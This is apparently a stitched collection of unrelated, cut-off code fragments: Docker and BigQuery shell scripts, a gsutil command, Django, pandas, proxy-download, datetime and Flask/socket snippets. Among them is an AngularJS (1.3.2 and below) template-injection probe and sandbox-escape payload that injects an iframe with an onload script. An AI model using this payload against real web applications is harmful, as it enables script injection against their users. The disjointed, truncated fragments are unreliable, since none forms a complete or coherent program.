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##############################################################################
# Docker Installation Script for Ubuntu                                      #
#                                                                            #
# Automates the installation of Docker on Ubuntu systems. Checks if Docker   #
# is already installed; if not, it proceeds with the installation steps.     #
#                                                                            #
# This script simplifies Docker installation on Ubuntu by updating package   #
# lists, installing necessary dependencies like ca-certificates, curl, and   #
# gnupg, setting up the Docker repository, and installing Docker CE,         #
# Docker CLI, containerd.io, docker-buildx-plugin, and docker-compose-plugin #

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from datetime import datetime
import pandas as pd
import requests

pd.set_option('display.max_columns', 8)
pd.set_option('max_seq_item', None)
pd.set_option('display.width', 200)

zones = [
    'US East (N. Virginia)',

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#!/bin/bash

# Purpose: This Bash script automates data migration between BigQuery and Google Cloud's storage.
# It streamlines the process by using Google Cloud Storage as temporary storage. It's designed to export table 
# schemas to JSON, load data from CSV files into BigQuery for analysis, and securely move data between different 
# storage buckets. Additionally, it simplifies bucket management for organized data and enhanced redundancy.
# Value: For GCP users, this script is invaluable for simplifying and expediting data migration tasks between 
# BigQuery, making it a crucial resource for data management.
# How to Run: Before executing, set key variables like `SOURCE_PROJECT_ID`, `DESTINATION_PROJECT_ID`, 
# and `DATASET_NAME`. Then, prepare an input file listing the table names you want to process. Run the script in 

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#!/bin/bash

if [[ "$*" == *-v* ]]; then
    set -x
fi

source_project_id="${SOURCE_PROJECT_ID}"
destination_project_id="${DESTINATION_PROJECT_ID}"
dataset_name="${DATASET_NAME}"

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From bucket to bucket

The given command is a single-line command using gsutil, the command-line tool for interacting with Google Cloud Storage. It performs a high-performance data transfer (copy) operation (cp) from one location in Google Cloud Storage (gs://source) to another location (gs://destination).

gsutil -o "GSUtil:parallel_composite_upload_threshold=150M" \
       -o "GSUtil:parallel_thread_count=10" \
       -o "GSUtil:check_hashes=if_fast_else_skip" \
       -h "Content-Encoding:gzip" \
 -o "GSUtil:sliced_object_download=true" \

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import os

os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'minimaldjango.settings')

from django.forms import DateField
from rest_framework import routers
from rest_framework.serializers import ModelSerializer
from rest_framework.viewsets import ModelViewSet

from django.db.models import (

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import os
from random import choice
import argparse
from tqdm import tqdm
import base64
import re
import requests

FILE_NAME = 'proxies_downloaded.txt'

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import datetime
from time import sleep, time
from dateutil.relativedelta import relativedelta
from collections import OrderedDict


def calculate_diff(dt2, dt1):
    dt1 = datetime.datetime.fromtimestamp(dt1)

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1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

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import socket
from flask import Flask, request
import sys
from threading import Thread
from time import sleep

app = Flask(__name__)

HTTP_METHODS = ['GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'CONNECT', 'OPTIONS', 'TRACE', 'PATCH']